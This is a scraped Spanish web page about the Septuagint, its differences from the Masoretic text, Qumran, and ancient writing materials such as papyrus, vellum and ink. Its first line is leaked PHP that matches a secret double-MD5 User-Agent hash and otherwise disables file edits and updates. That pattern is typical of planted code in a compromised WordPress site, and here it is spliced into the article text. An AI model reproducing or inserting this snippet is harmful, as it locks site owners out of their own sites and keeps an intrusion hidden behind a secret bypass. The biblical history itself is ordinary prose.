if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } papiro – Texto Bíblico

La Septuaginta (LXX)

La Septuaginta (LXX), Filón y Josefo

La Septuaginta (LXX)

Lower part of col. 18 (according to the reconstruction by E. Tov) of the Greek Minor Prophets Scroll from Nahal Hever containing verses from Habakkuk. The arrow points at the tetragrammaton in paleo-Hebrew script.

 En “ENTRE NEHEMÍAS Y LOS MACABEOS”  se estudia el origen y la historia de la Septuaginta (LXX), la más antigua traducción del Antiguo Testamento.

Hay varias características que distinguen a la Septuaginta (LXX) cuando se compara con el texto masorético del Antiguo Testamento hebreo. Una de ellas es la presencia de parejas o sinónimos colocados juntos para traducir una sola palabra hebrea. Otra es que la LXX repetidas veces evita la representación antropomórfica de Dios. Esta tendencia era muy característica de algunos judíos de Alejandría de mentalidad más filosófica.

Otra diferencia entre la Septuaginta y el texto masorético es la disposición de algunas secciones. Hay una secuencia diferente en el material de Éxodo 35-39, 1 Reyes 4-11 [3 Reyes en la Septuaginta ], la última parte de Jeremías y el final de Proverbios. Esta tendencia de la Septuaginta también se extiende a la disposición de los libros, que difiere del orden tradicional hebreo de la Ley, los Profetas y los Salmos .

Aunque los manuscritos de la Septuaginta varían algo en detalles en cuanto a su orden, por lo general siguen la disposición que se conserva en las Biblias actuales en castellano.

En cuanto a los libros apócrifos, Primero de Esdras precede a Esdras; Sabiduría, Eclesiástico, Judit y Tobías preceden a Isaías; Baruc sigue a Jeremías, y los libros Primero de los Macabeos y Segundo de los Macabeos siguen a Malaquías. Job se halla entre Cantares y Sabiduría; Ester, con sus añadiduras apócrifas, está entre Eclesiástico y Judit, y Daniel está acompañado por Susana, y Bel y el dragón.

La diferencia más interesante de todas entre la Septuaginta y el texto tradicional hebreo es, quizá, que algunos pasajes que aparecen en griego no existen en hebreo, mientras que otros que se han conservado en hebreo no aparecen en griego. La extensión de esas variantes difiere: en el Pentateuco los dos textos son muy similares, pero en el libro de Daniel la LXX es muy diferente del texto masorético hebreo. Debido a esta gran discrepancia, la iglesia primitiva rechazó la traducción de la Septuaginta de Daniel y en su lugar colocó la traducción hecha por Teodoción en la última parte del siglo II d. C.

El libro de Daniel en la Septuaginta se usaba tan poco, que hoy sólo han quedado dos manuscritos griegos: una copia entre los papiros de Chester Beatty, del siglo II o III, y el manuscrito o Códice Quisiano, aproximadamente del siglo X.

La presencia en la Septuaginta de material que no está en el texto hebreo tradicional comprende no sólo pasajes aislados sino también libros, pues la Septuaginta contiene los libros que ahora los protestantes conocen generalmente como apócrifos.

Sin embargo, la inclusión de esos libros añadidos al parecer no se debe a un canon hebreo diferente del masorético, sino a que los judíos helenísticos aceptaron los libros que fueron rechazados por sus hermanos de Palestina que eran más conservadores.

Los descubrimientos de manuscritos en Khirbet Qumrán han despertado un nuevo interés en el estudio de la Septuaginta, pues allí se encontraron varios fragmentos hebreos del Antiguo Testamento, cuyo texto está mucho más cerca de la Septuaginta que del texto tradicional hebreo conservado en otros Rollos del Mar Muerto y por los masoretas.

Si bien es cierto que todavía debe determinarse el significado pleno de estos hallazgos de textos hebreos semejantes a la Septuaginta , esto parece indicar que por lo menos algunas de las diferencias entre los textos griego y hebreo hasta ahora conocidas no son meramente el resultado de malas traducciones o de una tarea hecha con descuido, sino que más bien se basan en originales hebreos diferentes.

Es evidente que por lo menos ya en el siglo I a. C. circulaba más de una clase de textos hebreos. Esto hace suponer, además, que uno de ellos representaba el que se conserva en la Septuaginta (LXX), y otro, al que se encuentra en la mayoría de los Rollos del Mar Muerto y en el texto masorético; sin embargo, las conclusiones finales acerca de la relación de estos textos deben esperar una investigación más amplia.

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Septuagint manuscripts

Jewish Encyclopedia – BIBLE TRANSLATIONS.

English Translation of the Greek Septuagint Bible

An Historical Account of the Septuagint Version

Encyclopædia Britannica: Septuagint

Catholic Encyclopedia: Septuagint Version

The Septuagint (LXX) – History of the Septuagint

The Septuagint versus the Masoretic

Elpenor’s Bilingual (Greek / English) Old Testament

Septuaginta (LXX) – texto griego

Septuaginta (LXX) – texto griego

The Greek Old Testament (Septuagint) Bilingual (Greek / English)

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Filón de Alejandría

Josefo

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Material de escritura

 LOS MANUSCRITOS DEL ANTIGUO TESTAMENTO

Material de escritura

Psalm 90
Papyrus fragment of Psalm 90 from the Greek Old Testament (from the Papyrus Archive at Duke University)

Los antiguos usaban diferentes clases de materiales de escritura, tales como arcilla, tablillas de madera, pedacitos de piedra caliza o fragmentos de alfarería, cueros curtidos de animales, o papiros. El último material mencionado, precursor de nuestro papel moderno, se hacía de la planta del papiro que crece en pantanos. Para los documentos más largos, probablemente éste fue el material de escritura más antiguo usado en Egipto. Puesto que los primeros libros de la Biblia han sido escritos en rollos de papiro, corresponde dar una explicación de este material de escritura.

Papyrus Harris I

El tallo de la planta de papiro se cortaba en tiras angostas, de unos 22 a 25 cm de largo. Las tiras eran colocadas a lo largo, lado a lado, y una segunda capa era pegada transversalmente sobre ella mediante presión. Las hojas que así se producían eran martilladas y frotadas con piedra pómez para que quedara una superficie pareja y lisa. Las hojas, que generalmente no medían más de unos 65 cm², eran pegadas en forma de rollos que no medían más de unos 10 m, aunque se conocen rollos mucho más largos; el famoso papiro Harris, del Museo Británico, tiene unos 50 m de largo. Generalmente se escribía sólo sobre la capa horizontal (anverso), pero ocasionalmente también sobre la capa vertical (reverso).

Los papiros escritos más antiguos conocidos proceden de la quinta dinastía egipcia, que ha sido ubicada en la mitad del tercer milenio antes de Cristo. Egipto era un país que producía mucho papiro y exportaba grandes cantidades de este material de escritura. Puesto que Moisés, el autor de los primeros libros de la Biblia, había recibido su educación en Egipto y escribió en las proximidades de Egipto, es posible que los primeros libros de la Biblia fueran escritos en rollos de papiro.

Österreichische Nationalbibliothek – Papyrussammlung und Papyrusmuseum

Por Jeremías sabemos que los documentos eran guardados en vasijas: “Así ha dicho Jehová de los ejércitos, Dios de Israel: Toma estas cartas, esta carta de venta sellada, y esta carta abierta, y ponlas en una vasija de barro, para que se conserven muchos días” Jeremías 32:14). Ésta declaración ha sido corroborada por muchos documentos antiguos hallados en vasijas durante las excavaciones de ciudades de antaño.

Mediante evidencia documental se sabe que del siglo XV en adelante se usaban rollos de cuero en Egipto. Los manuscritos de cuero más antiguos proceden del siglo V AC. Se usaban rollos de cuero en los casos cuando se necesitaba un material de escritura más durable. De ahí que sean de cuero los Rollos del Mar Muerto, y que posiblemente provienen de la biblioteca de una sinagoga.

La vitela (o pergamino fino), se preparaba con pieles de animales jóvenes – ganado vacuno, cabras, ovejas o venados – trabajadas y pulidas con mucho esmero. No se empleó mucho hasta el siglo II AC. Era el más caro de los materiales de escritura y se usaba sólo para los manuscritos muy valiosos – como los manuscritos de la Biblia de la iglesia cristiana del siglo IV, la que para ese tiempo disfrutaba de honores y riquezas.

Las plumas para escribir en los papiros eran de cañas golpeadas hasta convertirlas en pinceles finos; pero se usaban plumas de punta aguzada para escribir en cuero. La mayor parte de la tinta empleada por los escribas antiguos era hecha de hollín con una solución de goma; pero las muestras de tinta que se han hallado, que datan hasta del siglo VI AC, contienen algo de hierro, el que probablemente provenía de agallas de roble.